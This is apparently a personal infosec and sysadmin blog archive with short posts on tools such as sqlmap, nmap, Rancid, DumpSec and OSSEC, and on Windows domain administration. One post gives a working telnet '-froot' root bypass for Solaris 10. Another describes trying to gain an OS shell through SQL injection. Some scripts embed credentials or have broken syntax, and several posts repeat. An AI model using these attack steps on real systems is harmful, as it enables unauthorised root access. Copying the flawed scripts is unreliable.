2017 is just around the corner, and there are gonna be more exciting things in infosec. IOT, Visualization, Machine Learning, threat intel etc.
2016, majority people were talking about IOT, threat intel and in December, nothing much to talk about these 2 issues except the biggest DDOS in internet history was actually powered by IOT.
People keep on investing in big data/threat intel when the current data that they have or available in public domain, is more than enough for their daily operation. People are investing in big data like they are running GCHQ or Fox Media. But that's people...
People keep on investing in technologies which are unnecessarily needed. People keep on harping on issues which are they barely understood. (for me) The biggest issue is still PEOPLE and their IGNORANCE.
But above all, SAP security is really interesting especially in business function area, things related to Segregation of Duties (SOD). Wonder how InfoSec is gonna be in 2017?
Tuesday, December 20, 2016
Skiddies in action
Nothing much to do during this festive holiday, so I decided to setup a lab to test SQL injection using POST method. I know, this is a NO BRAINER, SKIDDIES LVL 6 and a B1G J0k3 to all of you, but mind me, im just learning.
Conclusion: same ol, same ol....
1. Setup an application that authenticate controlled by MSSQL through form submission.
2. Boot up Kali Linux
3. Using ZAP/Burp to monitor the parameter passed by browser during the crawling.
4. Using that parameter, pass it to sqlmap for further testing.
5. Grab the SQL banner using sqlmap.. Succeed.
6. Next, try to gain shell using --os-shell -> failed because of xp_cmshell was kind of fuct up.
7. Next, try to gain shell using MSF's sql_payload connecting to MSSQL port -> failed since the IPS runing like a rottweiler.
Conclusion: same ol, same ol....
Thursday, October 08, 2009
Mod_chroot and Apache
Have a rough time running apache + vhost in jail with mod_chroot. After trouble shoot, figured that.
1) Apache will run first
2) Then it will read vhost
3) Then it will load jail
That is how you can waste 5 hours of your time.. :
1) Apache will run first
2) Then it will read vhost
3) Then it will load jail
That is how you can waste 5 hours of your time.. :
Wednesday, January 07, 2009
Wednesday, November 05, 2008
Perl: Connecting to MSSQL with DBI
I need to provide statistics of top 10 Network status for the past 24 hours. All the data is stored in a database. Using a Perl Module; DBI I, i came out with this script. How to communicate with Database using Perl can be summarized by the picture below:
Using this script, i managed to query Top 10 statistic and dumped the data into xml format to generate graph using Flash Graphing tool.
Using this script, i managed to query Top 10 statistic and dumped the data into xml format to generate graph using Flash Graphing tool.
#!/usr/bin/perl
use DBI;
use POSIX 'strftime';
#Define yesterday date
my $yesterday = strftime "%Y-%m-%d",localtime(time - (24*60*60));
my $filename = strftime "%Y%m%d",localtime(time - (24*60*60));
#Creating XML file for Top 10 Ports
my $file="attack$filename.xml";
open ( my $FILE, ">> $file") or die "Cannot open file";
#Colors Array for Graph
@colors =( "AFD8F8", "F6BD0F","8BBA00","FF8E46","008E8E","D64646","8E468E","588526","B3AA00","008ED6");
$dbh = DBI->connect('dbi:Sybase:192.168.200.6',myadmin,mypasswordisharewithu);
die "Unable to connect: $DBI::errstr\n"
unless (defined $dbh);
# Querying the Top 10 Ports from the database
my $sql = qq { SELECT whatever yadayada };
$sth = $dbh->prepare ( $sql ) or
die "Unable to prepare databases query: ".$dbh->errstr."\n";
$sth->execute or
die "Unable to execute database query: ".$dbh->errstr."\n";
#Print into file
$value=0;
print $FILE "\n";
while ($aref = $sth->fetchrow_arrayref) {
$sth->finish;
$dbh->disconnect or
warn "Unable to disconnect: ".$dbh->errstr."\n";
Wednesday, October 08, 2008
Banner verification: nmap vs grabbb
A lot of verifications have to be made before escalation process can be carried out (this is not a good procedure according to CISSP) in network analysis. Let say you received "HTTPD v3.0 BOF shit" alert, you need to verify is the victims of this alert running HTTP v3.0 or not. The best method is to contact the owner of the victim's server due to:
1) The owner is the best person with a deep knowledge of the server.
But the cons is:
1) Time consuming
So, the alternative is an intrusive method which is banner grabbing. I have no interest in other banner grabbing except Fyodor's Nmap and Teso's Grabbb*. Grabbb is a robust banner grabber compared to Nmap. What i did was:
Grabbb
C:\MyOS\$ time ./grab -i ../ip-TIME-smtp-overflowid.txt 25
Nmap
C:\MyOS\$ time nmap -sV -iL ../ip-TIME-smtp-overflowid.txt -p25
and the result is:
Grabbb -> real 0m30.570s
Nmap -> real 0m22.289s
To my surprise; nmap performed better than Grabbb. But bear in mind, this timing method is not a credible process since a lot of factor need to be considered:
1) Grabbb was compiled on MyOS which run glibc version gazillion but the grabbb was a dinosaur program coming out of Jurassic World.
2) Network load during the process
3) Host load during the process
4) Nmap did not scan the hosts if there were no icmp echo reply since -P0 was not used. ;)
* Disclaimer: I have not gone through the codes for verification, and if you're backdoored because of your inability to read the code; which is equal to mine; please do not hesitate to bang your head to the door.
1) The owner is the best person with a deep knowledge of the server.
But the cons is:
1) Time consuming
So, the alternative is an intrusive method which is banner grabbing. I have no interest in other banner grabbing except Fyodor's Nmap and Teso's Grabbb*. Grabbb is a robust banner grabber compared to Nmap. What i did was:
Grabbb
C:\MyOS\$ time ./grab -i ../ip-TIME-smtp-overflowid.txt 25
Nmap
C:\MyOS\$ time nmap -sV -iL ../ip-TIME-smtp-overflowid.txt -p25
and the result is:
Grabbb -> real 0m30.570s
Nmap -> real 0m22.289s
To my surprise; nmap performed better than Grabbb. But bear in mind, this timing method is not a credible process since a lot of factor need to be considered:
1) Grabbb was compiled on MyOS which run glibc version gazillion but the grabbb was a dinosaur program coming out of Jurassic World.
2) Network load during the process
3) Host load during the process
4) Nmap did not scan the hosts if there were no icmp echo reply since -P0 was not used. ;)
* Disclaimer: I have not gone through the codes for verification, and if you're backdoored because of your inability to read the code; which is equal to mine; please do not hesitate to bang your head to the door.
Saturday, October 04, 2008
Quest for a handphone
For me, be it Iphone, Nokia or whatever it is.. the requirement is quite simple.
Must:
1) Rock hard solid Operating System
2) No or Less java based Application
3) With the ability to text and call.
4) Camera but not a fancy one.
5) With universal battery charger.
6) Wifi / Bluetooth enable that meets I3E standard.
7) That have email client that support OWA/POP3S/STMPS.
Extra:
1) Mobile accounting package that can be synced back to normal Accounting Application such as GnuCash.
2) That can export/import phone book into csv format.
3) Can be sync easily to a pc / macbook.
4) That can run Karmetasploit . ( Am i asking too much? )
Must:
1) Rock hard solid Operating System
2) No or Less java based Application
3) With the ability to text and call.
4) Camera but not a fancy one.
5) With universal battery charger.
6) Wifi / Bluetooth enable that meets I3E standard.
7) That have email client that support OWA/POP3S/STMPS.
Extra:
1) Mobile accounting package that can be synced back to normal Accounting Application such as GnuCash.
2) That can export/import phone book into csv format.
3) Can be sync easily to a pc / macbook.
4) That can run Karmetasploit . ( Am i asking too much? )
Sunday, August 03, 2008
SSH, a handy tool!
I need to check some configurations in several servers located all over the net. I was thinking to use perl, nahhh... better to use shell script with ssh using sshkey.
#!/bin/bash
for in x `grep ^ iplist` do; ssh admin@"$x" "cat /etc/snort.config; mysql -uusername -ppassword snortdb -e "select * from events where event_id =9"; >> $x.result; done
Thats it.
#!/bin/bash
for in x `grep ^ iplist` do; ssh admin@"$x" "cat /etc/snort.config; mysql -uusername -ppassword snortdb -e "select * from events where event_id =9"; >> $x.result; done
Thats it.
Wednesday, July 09, 2008
My Intrusion Prevention System is better than yours
"I have IPSs and i've seen some weird query/log during the testing. It was something like cmd.exe, net user mofo mofo123 /add and other commands being executed on our server."
Oh darling, if you have an IPS, it should be dropping those connection already. If not, give a kick to the nuts-sack of the IPS vendors and tell them www.go.to.hell.org!! I, myself would not mind to give them an uppercut kick just like zohan
Oh darling, if you have an IPS, it should be dropping those connection already. If not, give a kick to the nuts-sack of the IPS vendors and tell them www.go.to.hell.org!! I, myself would not mind to give them an uppercut kick just like zohan
It was an attack, wasn't it?
Sample
FWBongek, 1 July 2008, 08:32, 10.10.10.10:3124, 1.1.1.1:23, TCP
.
.
.
FWBongek, 2 July 2008, 10:00, 10.10.10.10:3124, 1.1.1.1:23, TCP
Using my super lazy skills,
cat firewall.log | cut -d ',' -f 3 | cut -d ':' -f 1 | sort -rn | uniq -c
I've found out, it just a normal internet behavior, kind of things that u will see once u'r connected to the internet. The cause might be, worm,botnet and mass scanning.
FWBongek, 1 July 2008, 08:32, 10.10.10.10:3124, 1.1.1.1:23, TCP
.
.
.
FWBongek, 2 July 2008, 10:00, 10.10.10.10:3124, 1.1.1.1:23, TCP
Using my super lazy skills,
cat firewall.log | cut -d ',' -f 3 | cut -d ':' -f 1 | sort -rn | uniq -c
I've found out, it just a normal internet behavior, kind of things that u will see once u'r connected to the internet. The cause might be, worm,botnet and mass scanning.
Sunday, April 01, 2007
Configuration Management with Rancid
Hey folks!
Dont you guys think it is a very tedious process to keep track of your networking devices configuration. Yah you know.. > copy run-config/start-config tftp ip.address .
So, instead of wasting my time doing that manually, i use Rancid + CVSWeb to monitor and keep track of my cisco devices configuration changes. As usual, my favorite platform is FreeBSD. The installation process can be referred to this tutorial.
After installation, several configurations need to be made especially, ~/.cloginrc which stored all your authentication method and password and also router.db that stored information about the router. In .cloginrc you can define what type of login method that you want to use, either telnet or SSH. For example:
add type ssh ip.of.the.router
add password ip.of.the.router passwordbongok passwordbongek
To test wether it's working or not, you can use a tool which is part of rancid, clogin.
$ clogin ip.of.the.router
if you can login and manage to get into global and configuration mode. Then you're good. After that all you need to start your rancid by typing rancid-run. Here is the screenshot of my cvsweb.
So the last step is to make sure every hour rancid will check for configuration changes on the routers. So all you need is crontab.
@hourly /usr/local/bin/rancid/rancid-run . Thats it.
Dont you guys think it is a very tedious process to keep track of your networking devices configuration. Yah you know.. > copy run-config/start-config tftp ip.address .
So, instead of wasting my time doing that manually, i use Rancid + CVSWeb to monitor and keep track of my cisco devices configuration changes. As usual, my favorite platform is FreeBSD. The installation process can be referred to this tutorial.
After installation, several configurations need to be made especially, ~/.cloginrc which stored all your authentication method and password and also router.db that stored information about the router. In .cloginrc you can define what type of login method that you want to use, either telnet or SSH. For example:
add type ssh ip.of.the.router
add password ip.of.the.router passwordbongok passwordbongek
To test wether it's working or not, you can use a tool which is part of rancid, clogin.
$ clogin ip.of.the.router
if you can login and manage to get into global and configuration mode. Then you're good. After that all you need to start your rancid by typing rancid-run. Here is the screenshot of my cvsweb.
So the last step is to make sure every hour rancid will check for configuration changes on the routers. So all you need is crontab.
@hourly /usr/local/bin/rancid/rancid-run . Thats it.
Auditing users Account in Windows 2003
It have been a very very long time...
I've been assigned to list user ID, their group, Lock status and Active status. So I used this tools from Somarsoft called Dumpsec with a little bit help from unixtools.
Here is the tricks:
1. Dumpsec.exe /computer=\\computer.ip /rpt=users /saveas=csv outfile=c:\fileku.txt . It will produce something like below
3/16/2007 3:47 PM - Somarsoft DumpSec (formerly DumpAcl) - \\computer.ip
****Name,FullName,AccountType,Comment,HomeDrive,HomeDir,Profile,LogonScript,
Workstations,PswdCanBeChanged,PswdLastSetTime,PswdRequired,PswdExpires,
PswdExpiresTime,AcctDisabled,AcctLockedOut,AcctExpiresTime,
LastLogonTime,LastLogonServer,LogonHours,RasDialin,RasCallback,RasCallbackNumber
*********,,****,Built-in account for administering the computer/domain,,,,,,Yes,3/23/2006 3:52 PM,Yes,No
,Never,No ,No ,Never,4/12/2006 10:37 AM,10.20.201.13,All,No ,None,
***,***,***,,,,,,,Yes,8/21/2006 10:19 AM,Yes,No ,Never,No ,No ,Never,Never,10.20.201.13,All,No ,None,
Guest,,****,Built-in account for guest access to the computer/domain,,,,,,No ,3/7/2007 9:12 AM,No ,No ,Never,Yes,No ,Never,Never,10.20.201.13,All,No ,None,
SQLDebugger,SQLDebugger,****,This **** account is used by the Visual Studio .NET Debugger,,,,,,No ,2/15/2006 5:02 PM,Yes,No ,Never,No ,No ,Never,Never,10.20.201.13,All,No ,None,
SUPPORT_388945a0,CN=Microsoft Corporation,L=Redmond,S=Washington,C=US,****,This is a vendor's account for the Help and Support Service,,,,,,No ,2/10/2006 11:06 AM,Yes,No ,Never,Yes,No ,Never,Never,10.20.201.13,All,No ,None,
****,,****,Built-in account for administering the computer/domain,,,,,,Yes,10/4/2006 4:31 PM,Yes,No ,Never,No ,No ,Never,3/1/2007 3:22 PM,10.20.201.13,All,No ,None,
All i need is field no 1,2,15 and 16 so i did this. (Actually there are several way to do this, one of it to use awk)
2. cat c:\fileku.txt | cut -d "," -f1,2,15,16 >> listuser.csv . So here is the result.
So who said MS Windows is boring? Operating System is just a tool, be it Solaris, BSD, Windows, Linux or whatever it is, all you need is knowledge to make it fun!
I've been assigned to list user ID, their group, Lock status and Active status. So I used this tools from Somarsoft called Dumpsec with a little bit help from unixtools.
Here is the tricks:
1. Dumpsec.exe /computer=\\computer.ip /rpt=users /saveas=csv outfile=c:\fileku.txt . It will produce something like below
3/16/2007 3:47 PM - Somarsoft DumpSec (formerly DumpAcl) - \\computer.ip
****Name,FullName,AccountType,Comment,HomeDrive,HomeDir,Profile,LogonScript,
Workstations,PswdCanBeChanged,PswdLastSetTime,PswdRequired,PswdExpires,
PswdExpiresTime,AcctDisabled,AcctLockedOut,AcctExpiresTime,
LastLogonTime,LastLogonServer,LogonHours,RasDialin,RasCallback,RasCallbackNumber
*********,,****,Built-in account for administering the computer/domain,,,,,,Yes,3/23/2006 3:52 PM,Yes,No
,Never,No ,No ,Never,4/12/2006 10:37 AM,10.20.201.13,All,No ,None,
***,***,***,,,,,,,Yes,8/21/2006 10:19 AM,Yes,No ,Never,No ,No ,Never,Never,10.20.201.13,All,No ,None,
Guest,,****,Built-in account for guest access to the computer/domain,,,,,,No ,3/7/2007 9:12 AM,No ,No ,Never,Yes,No ,Never,Never,10.20.201.13,All,No ,None,
SQLDebugger,SQLDebugger,****,This **** account is used by the Visual Studio .NET Debugger,,,,,,No ,2/15/2006 5:02 PM,Yes,No ,Never,No ,No ,Never,Never,10.20.201.13,All,No ,None,
SUPPORT_388945a0,CN=Microsoft Corporation,L=Redmond,S=Washington,C=US,****,This is a vendor's account for the Help and Support Service,,,,,,No ,2/10/2006 11:06 AM,Yes,No ,Never,Yes,No ,Never,Never,10.20.201.13,All,No ,None,
****,,****,Built-in account for administering the computer/domain,,,,,,Yes,10/4/2006 4:31 PM,Yes,No ,Never,No ,No ,Never,3/1/2007 3:22 PM,10.20.201.13,All,No ,None,
All i need is field no 1,2,15 and 16 so i did this. (Actually there are several way to do this, one of it to use awk)
2. cat c:\fileku.txt | cut -d "," -f1,2,15,16 >> listuser.csv . So here is the result.
3/13/2007 4:01 PM - Somarsoft DumpSec (formerly DumpAcl) - \\computer.ip
****Name,FullName,AccountType,AcctDisabled,AcctLockedOut
ASPNET,ASP.NET Machine Account,****,No ,No
******,******,****,No ,No
Guest,,****,Yes,No
*******,Internet Guest Account,****,No ,No
SQLDebugger,SQLDebugger,****,No ,No
SUPPORT_388945a0,CN=Microsoft Corporation,L=Redmond,Yes,No
****,,****,No ,No
****Name,FullName,AccountType,AcctDisabled,AcctLockedOut
ASPNET,ASP.NET Machine Account,****,No ,No
******,******,****,No ,No
Guest,,****,Yes,No
*******,Internet Guest Account,****,No ,No
SQLDebugger,SQLDebugger,****,No ,No
SUPPORT_388945a0,CN=Microsoft Corporation,L=Redmond,Yes,No
****,,****,No ,No
So who said MS Windows is boring? Operating System is just a tool, be it Solaris, BSD, Windows, Linux or whatever it is, all you need is knowledge to make it fun!
Wednesday, February 14, 2007
Rooting Solaris 10
Rooting Solaris 10 is seemed like an impossible mission but not when you have telnetd running on that solaris machine. Hey!! I tought we're living in 2007 and supposely telnetd should be long gone replaced by SSHD. :=D
telnet -l "-froot" victimserver
Peace yall!
telnet -l "-froot" victimserver
Peace yall!
Tuesday, January 30, 2007
Why netflow?
Recently, we're facing with network congestion, especially on our Wan Link.
We tried to find the culprit for this problem, but nothing much came out of cacti and ntop. So we decided to download and test this netflow reporting tools called Netflow tracker from Crannog Software. The installation is very easy, and we managed to find the cause of the trouble in just few minutes.
After identifying the source of problem, we decided to disconnect the server from the network. Traffic flow back to normal.
We tried to find the culprit for this problem, but nothing much came out of cacti and ntop. So we decided to download and test this netflow reporting tools called Netflow tracker from Crannog Software. The installation is very easy, and we managed to find the cause of the trouble in just few minutes.
After identifying the source of problem, we decided to disconnect the server from the network. Traffic flow back to normal.
Disabling Windows Autoupdate
If you have a patch management system, you dont need to enable AutoUpdate service. Why?
1. Reduce bandwidth consumption, instead of every machine connecting and downloading from *microsoft.com, now all you need is one centralize server.
2. Reduce logging noise in network devices especially firewall
3. Reduce resources usage since less services running automatically.
So how to do it?
I use GNU Awk and must run as domain administrator.
1. net view | gawk " { print $1 } > hostlist
2. for /f %i in (hostlist) do sc \\%i stop wuauserv
3. for /f %i in (hostlist) do sc \\%i config start= disabled
Thats it.
1. Reduce bandwidth consumption, instead of every machine connecting and downloading from *microsoft.com, now all you need is one centralize server.
2. Reduce logging noise in network devices especially firewall
3. Reduce resources usage since less services running automatically.
So how to do it?
I use GNU Awk and must run as domain administrator.
1. net view | gawk " { print $1 } > hostlist
2. for /f %i in (hostlist) do sc \\%i stop wuauserv
3. for /f %i in (hostlist) do sc \\%i config start= disabled
Thats it.
Monday, January 22, 2007
Enabling Windows Remote Desktop using command line
Sometime u need to access remote windows machine by RDP, but the problem is, RDP is not enable by default. Using psexec and reg add, you can enable RDP remotely.
psexec \\computername -u username reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
psexec \\computername -u username reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
Tuesday, January 16, 2007
OSSEC HIDS + Web Interface
After testing several HIDS like samhain, osiris i decided to give OSSEC a try. BTW, what the heck is OSSEC? OSSEC is an Open Source Host-based Intrusion Detection System. It performs log analysis, integrity checking, Windows registry monitoring, rootkit detection, time-based alerting and active response. The reason i pick OSSEC not samhain or osiris, because of it's simplicity.
Ossec is a client-server solution. So u need a server and clients. My server run on FreeBSD and clients run on windows/Linux/Solaris/Bsd. The installation process is very straight forward, so please visit here.
For monitoring purpose, i use ossec-wui, a web based interface for alerting. Installation also very straight forward, except that, i cant view alert from ossec logs file. I already add apache user into ossec group (edit /etc/group), but the result still the same. From Ossec mailing list, one of the guy pointed out that os_lib_alerts.php does not return the right user group. For solution, i need to comment that line.
/* Getting group information */ $evt_group = strstr($buffer, "-"); if($evt_group === FALSE) { /* Invalid group */ continue; => comment this line }
So, now my ossec-wui work like a charm. Heres the screenshot.
Further googling show that, i need to upgrade my OSSEC from 0.93 to 1.0 in order to overcome this problem. Without very much hesitation, i download the latest version and run ./setup.sh . Thats it . Job done for today.
Ossec is a client-server solution. So u need a server and clients. My server run on FreeBSD and clients run on windows/Linux/Solaris/Bsd. The installation process is very straight forward, so please visit here.
For monitoring purpose, i use ossec-wui, a web based interface for alerting. Installation also very straight forward, except that, i cant view alert from ossec logs file. I already add apache user into ossec group (edit /etc/group), but the result still the same. From Ossec mailing list, one of the guy pointed out that os_lib_alerts.php does not return the right user group. For solution, i need to comment that line.
/* Getting group information */ $evt_group = strstr($buffer, "-"); if($evt_group === FALSE) { /* Invalid group */ continue; => comment this line }
So, now my ossec-wui work like a charm. Heres the screenshot.
Further googling show that, i need to upgrade my OSSEC from 0.93 to 1.0 in order to overcome this problem. Without very much hesitation, i download the latest version and run ./setup.sh . Thats it . Job done for today.
Sunday, January 14, 2007
Reset "sa" in MSDE
Yeah, shit does happen especially when you dont plan properly. I forgot my MSDE password that store most of EventViewer alerts. Luckily, Builtin administrator accounts can be used to reset MSDE password. Here's the trick:
osql -E -d databasename -Q "sp_password NULL, 'newpassword', 'sa'"
-E to use trusted connection
-Q to execute query and exit
for more option, run osql /?
osql -E -d databasename -Q "sp_password NULL, 'newpassword', 'sa'"
-E to use trusted connection
-Q to execute query and exit
for more option, run osql /?
Monday, October 30, 2006
Baby, who stole your soul?
After long holiday; i'm back at the office. One of the guy from ITHelpdesk asked me; why his newly installed freebsd 6.1 failed to start. So i tried to boot into his freebsd, but found that there was no kernel to boot to. What i did was; boot using freebsd 6.1 installer and using sysintall; i chose fixit option -> Live cd.
then i need to mount the harddisk.
#mkdir /tmp/bsd
#mount /dev/ad4s1 /tmp/bsd
From there i changed directory to /boot. There was no kernel folder in boot directory. Oh baby, who stole your soul(kernel)?
Then i decided to copy kernel folder in the installer cd ( Before that i already copy the kernel folder into thumb drive).
#mkdir /tmp/usb
#/tmp/bsd/sbin/mount_msdos /dev/da0s1 /tmp/usb
#cp -Rf /tmp/usb/kernel /tmp/bsd/boot
That's it. I restored back your soul ; but who gonna gimme back my soul, baby?
Disclaimer: I cannot be held responsible if this method failed to give any reader satisfaction, pleasure or may cause mayhem, self destruction, world domination or even human destruction that may lead to apocalypse.
then i need to mount the harddisk.
#mkdir /tmp/bsd
#mount /dev/ad4s1 /tmp/bsd
From there i changed directory to /boot. There was no kernel folder in boot directory. Oh baby, who stole your soul(kernel)?
Then i decided to copy kernel folder in the installer cd ( Before that i already copy the kernel folder into thumb drive).
#mkdir /tmp/usb
#/tmp/bsd/sbin/mount_msdos /dev/da0s1 /tmp/usb
#cp -Rf /tmp/usb/kernel /tmp/bsd/boot
That's it. I restored back your soul ; but who gonna gimme back my soul, baby?
Disclaimer: I cannot be held responsible if this method failed to give any reader satisfaction, pleasure or may cause mayhem, self destruction, world domination or even human destruction that may lead to apocalypse.
Tuesday, October 17, 2006
ICMP L3retriever Ping
My IDS keep on alerting on this : ICMP L3retriever Ping. What the heck is this. Using google; i stumble upon this mailing list.
It active directory related - if you have Win XP systems/and possibly win2000
as well, you will have these. You might
want to examine your rule and/or look and see if the "computer browser" service
is enabled on non-domain controllers
(i.e. all the workstations, etc).
Based on this answer; i have to stop and disable almost 100 machine from running Computer Browser. What i did was:
runas /user:domainname\userid cmd
net view | findstr "^\\\\" >hostlist
for %i in (hostlist) do start /wait psexec %i cmd /C "net stop browser"
for %i in (hostlist) do start /wait sc %i config Browser start= disabled
Let see what will happen.
It active directory related - if you have Win XP systems/and possibly win2000
as well, you will have these. You might
want to examine your rule and/or look and see if the "computer browser" service
is enabled on non-domain controllers
(i.e. all the workstations, etc).
Based on this answer; i have to stop and disable almost 100 machine from running Computer Browser. What i did was:
runas /user:domainname\userid cmd
net view | findstr "^\\\\" >hostlist
for %i in (hostlist) do start /wait psexec %i cmd /C "net stop browser"
for %i in (hostlist) do start /wait sc %i config Browser start= disabled
Let see what will happen.
Subscribe to:
Posts (Atom)